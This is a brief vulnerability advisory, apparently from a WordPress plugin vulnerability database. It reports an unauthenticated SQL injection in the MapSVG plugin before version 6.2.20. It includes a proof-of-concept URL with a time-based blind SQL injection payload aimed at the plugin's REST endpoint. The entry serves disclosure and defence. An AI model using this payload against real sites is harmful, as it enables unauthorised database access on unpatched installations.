MapSVG < 6.2.20 - Unauthenticated SQLi

2022-04-1800:00:00

Brandon James Roldan

0.002 Low

EPSS

Percentile

57.6%

JSON

The plugin does not validate and escape a parameter via a REST endpoint before using it in a SQL statement, leading to a SQL Injection exploitable by unauthenticated users.

https://example.com/wp-json/mapsvg/v1/maps/2?id=1%27%20AND%20(SELECT%2042%20FROM%20(SELECT(SLEEP(5)))b)--+

0.002 Low

EPSS

Percentile

57.6%

JSON

Related for WPEX-ID:5D8D53AD-DC88-4B50-A292-FC447484C27B